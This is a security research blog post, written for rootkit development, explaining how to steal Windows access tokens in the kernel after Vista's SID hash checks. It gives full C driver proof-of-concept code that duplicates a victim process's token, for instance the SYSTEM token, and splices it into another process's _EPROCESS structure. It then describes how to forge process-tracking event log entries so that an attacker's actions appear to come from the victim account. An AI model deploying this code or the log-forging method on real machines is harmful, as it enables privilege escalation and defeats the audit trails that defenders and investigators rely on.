Token manipulation in the past
The well known way of manipulating access tokens was introduced by Greg Hoglund in 2004, and the proof of concept code was published in the famous FU rootkit. This technique modified the memory region pointed to by UserAndGroups and RestrictedSids. This memory region is the dynamic part of the access token. In Windows versions prior to Windows Vista there were no integrity checks on these fields, therefore it was possible to add and remove SIDs.

New integrity checking features introduced in Vista
In new versions of Windows starting with Vista two new fields appeared in the _TOKEN structure: SidHash and RestrictedSidHash.

These two fields contain the hashes of the SIDs stored in the dynamic part of the token in order to prevent accidental or intended modification. The hashes are checked every time the token is used. This results in the fact that the technique developed by Greg Hoglund cannot be used in recent versions of Microsoft Windows.



Token stealing
One possible way to bypass integrity checks would be to find the kernel code that is responsible for verifying the access token, and patch it. The implementation of this option is heavily version dependent and the new patch protection must be turned off, so an easier and more stable alternative is needed.

The _TOKEN structure is linked to the _EPROCESS structure through the Token member which is of the type _EX_FAST_REF. The exact memory address of the _TOKEN structure can be calculated from the value stored in the _EX_FAST_REF field by XOR-ing the value with 0xFFFFFFF8. This is because the last 3 bits of the value are used to keep track of the references on the token object.

During research it turned out that currently the token is not exclusively bound to the process object and therefore it is possible to use the access token of other processes by simply modifying the _EX_FAST_REF value in our _EPROCESS structure to the value in the _EPROCESS structure of the victim process. There is a problem regarding this operation that is: after the modification is done, two processes will use the same token object. This means that when our process or the victim exits, the system will free the token object. If the other process tries to use the token or exits, it will immediately result in BSOD.

The case when the victim process is the SYSTEM process (the process with PID = 4) is an exception to this. The operating system will be fully functional when another process uses the token of this process, because this is one of the last processes that is to be terminated, and nothing happens if there is problem during termination.

To overcome this problem, a copy must be made of the access token of the target process. This can be accomplished by using the ZwDuplicateToken function. After a copy of the desired access token is made, the only thing that is to be done is to exchange the original value of the Token field with the address of the new token. The process will have the same access rights as the victim.

Here is the proof of concept code snippet that is capable of stealing the access token of other processes:


typedef struct _OSDETAILS {
    //_eprocess structure
    int NAMEOFFSET;
    int FLINKOFFSET;
    int PIDOFFSET;  
    int AUTHIDOFFSET;
    int PROTECTEDFLAGOFFSET;
    int THREADOFFSET;
    int THREADFLINK;
    int TOKENOFFSET;
    //_token structure
    int PRIVCOUNTOFFSET;
    int PRIVADDROFFSET;
    int SIDCOUNTOFFSET;
    int SIDADDROFFSET;
    int LOCKOFFSET;
    int VARLENGTHOFFSET;
    int SESSIONIDOFFSET;
    int HANDLETABLEOFFSET;
    //_handle_table structure  
    int HANDLECOUNTOFFSET;
    int TABLEOFFSET;
    int HANDLELISTOFFSET;
    int EPROCPIDOFFSET;
    //_ethread structure        
    int CIDOFFSET;
    //others
    int EPROCSIZE;
    int KERNELBASE;
    char DISPATCHER_EPROCESS[2];
} OSDETAILS, *POSDETAILS;

OSDETAILS osdetails;

DWORD FindProcessEPROC (int terminate_PID)
{
        DWORD eproc       = 0x00000000;
        int   current_PID = 0;
        int   start_PID   = 0;
        int   i_count     = 0;
        PLIST_ENTRY plist_active_procs;

        if (terminate_PID == 0)
                return terminate_PID;

        eproc = (DWORD) gpeproc_system;
        start_PID = *((DWORD*)(eproc + osdetails.PIDOFFSET));
        current_PID = start_PID;

        while(1)
        {
                if(terminate_PID == current_PID)
                        return eproc;
                else if((i_count >= 1) && (start_PID == current_PID))
                {
                        return 0x00000000;
                }
                else {
                        plist_active_procs = (LIST_ENTRY *) (eproc + osdetails.FLINKOFFSET);
                        eproc = (DWORD) plist_active_procs->Flink;
                        eproc = eproc - osdetails.FLINKOFFSET;
                        current_PID = *((int *)(eproc+osdetails.PIDOFFSET));
                        i_count++;
                }
        }
}

NTSTATUS StealToken( int dpid, int spid )
{
    NTSTATUS status = STATUS_SUCCESS;
    ACCESS_STATE aState;
    char Data[0x100];

    PEPROCESS pseproc = NULL; //Victim eprocess
    HANDLE hseproc    = NULL; //Victim process handle
    PEPROCESS pdeproc = NULL; //New eprocess
    
    HANDLE hstoken = NULL; //Victim process's token handle
    HANDLE hntoken = NULL; //New token handle
    PVOID  pntoken = NULL; //New token address
    PVOID  potoken = NULL; //The original token

    //Open the source process
    status = SeCreateAccessState(
        &aState,
        Data,
        STANDARD_RIGHTS_ALL,
        (PGENERIC_MAPPING)((PCHAR)*PsProcessType + 52)
        );
  
    if (!NT_SUCCESS(status))
    {
        DbgPrint("Error creating access state!!!");
        return status;
    }

    aState.PreviouslyGrantedAccess |= aState.RemainingDesiredAccess;
    aState.RemainingDesiredAccess = 0;

    status = PsLookupProcessByProcessId((HANDLE)spid, &pseproc);

    if (!NT_SUCCESS(status))
    {
        SeDeleteAccessState(&aState);
        return status;
    }
  
    status = ObOpenObjectByPointer(
                            pseproc,
                            0,
                            &aState,
                            0,
                            *PsProcessType,
                            KernelMode,
                            &hseproc
                            );

    SeDeleteAccessState(&aState);
    ObDereferenceObject(pseproc);

    //Get handle to the source token
    status = ZwOpenProcessTokenEx(
                            hseproc,
                            STANDARD_RIGHTS_ALL,
                            OBJ_KERNEL_HANDLE,
                            &hstoken
                            );
 
    if (!NT_SUCCESS(status))
    {
        DbgPrint("Opening source token failed!\n");
        return status;
    }

    //Copy the source token
    status = ZwDuplicateToken(
                        hstoken,
                        TOKEN_ALL_ACCESS,
                        NULL,
                        FALSE,
                        TokenPrimary,
                        &hntoken
                        );

    if (!NT_SUCCESS(status))
    {
        DbgPrint("Copying source token failed!\n");
        return status;
    }

    //Close the source process and source token handles
    if (NT_SUCCESS(status))
    {
        ZwClose(hstoken);
        ZwClose(hseproc);
    }

    //Reference the new token to get the memory address of it
    status = ObReferenceObjectByHandle(
                                hntoken,
                                STANDARD_RIGHTS_ALL,
                                NULL,
                                KernelMode,
                                &pntoken,
                                NULL 
                                );

    if (!NT_SUCCESS(status))
    {
        DbgPrint("Referencing new token failed!\n");
        return status;
    }

    //Find the target process and link the token in
    (DWORD)pdeproc = (DWORD)FindProcessEPROC(dpid);

    if ((DWORD)pdeproc == 0x0){
        DbgPrint("Destination process (%d) not found!\n", dpid);
        return STATUS_UNSUCCESSFUL;
    }

    //Link in the new token
    *(DWORD *)((DWORD)pdeproc + osdetails.TOKENOFFSET) = (DWORD)pntoken;

    return STATUS_SUCCESS;
}


The code snippet is from my PoC rootkit, which, I hope, will be released soon.

Technical limitations
The technique in this form has some interesting limitations, which could be eliminated in the future.

The first limitation is that creating new processes is only possible if the access token that is to be stolen belongs to a process, which is running on behalf of an account that is member of the Administrators group or on behalf of the SYSTEM account.

One other limitation is that if the token belongs to one of the members of the Administrators group, only processes without GUI can be launched.

In the case of rootkits these are not critical limitations. The aim of the attacker usually is to gain elevated privileges. This means that stealing the access token from SYSTEM or Administrator is the most usual use case.

Faking detailed process tracking events
One possible use case is to launch processes on behalf of another process, which is running on behalf of other account.

Information used by Windows to create detailed process tacking eventlog entries
For assembling the “Process creation” eventlog entry, the OS uses the access token and process id of the parent process.
For assembling the “Process termination” eventlog entry, the OS uses the access token and PID of the process that is terminating.

In order to insert fake eventlog entries we should launch our application (the rootkit client) on behalf of our account. The OS will insert a standard Process creation entry into the eventlog with our PID and account information.

Within our rootkit client, before we launch our command, we should steal the PID and access token of the victim process and assign it to our process. After that we should launch the desired command. The OS will then insert a Process creation entry into the eventlog with information that belongs to the victim process. This way the eventlog entry will show that the newly created process was started by the victim process.

Before terminating our process we should change the above mentioned information (PID and token) back to the original ones. Doing so will result in the OS logging a Process termination event with the original information that belongs to our process and account.

By using this technique, without disassembling the the rootkit client and driver, it won't be possible to correlate the two Process creation events, because of the two different accounts and Creator Process Ids. The newly launched application will inherit the privileges of the victim process.

The article with illustrations can be found at the following URL:
http://csababarta.com/downloads/Token_stealing.pdf

read comments (5) / write comment

recent comments:

yy	yangyi	26.Nov:23:24
A question	moonife	11.Oct:15:14
Nice !	neocrackr	29.Sep:03:33

views: 8312   printer-friendly version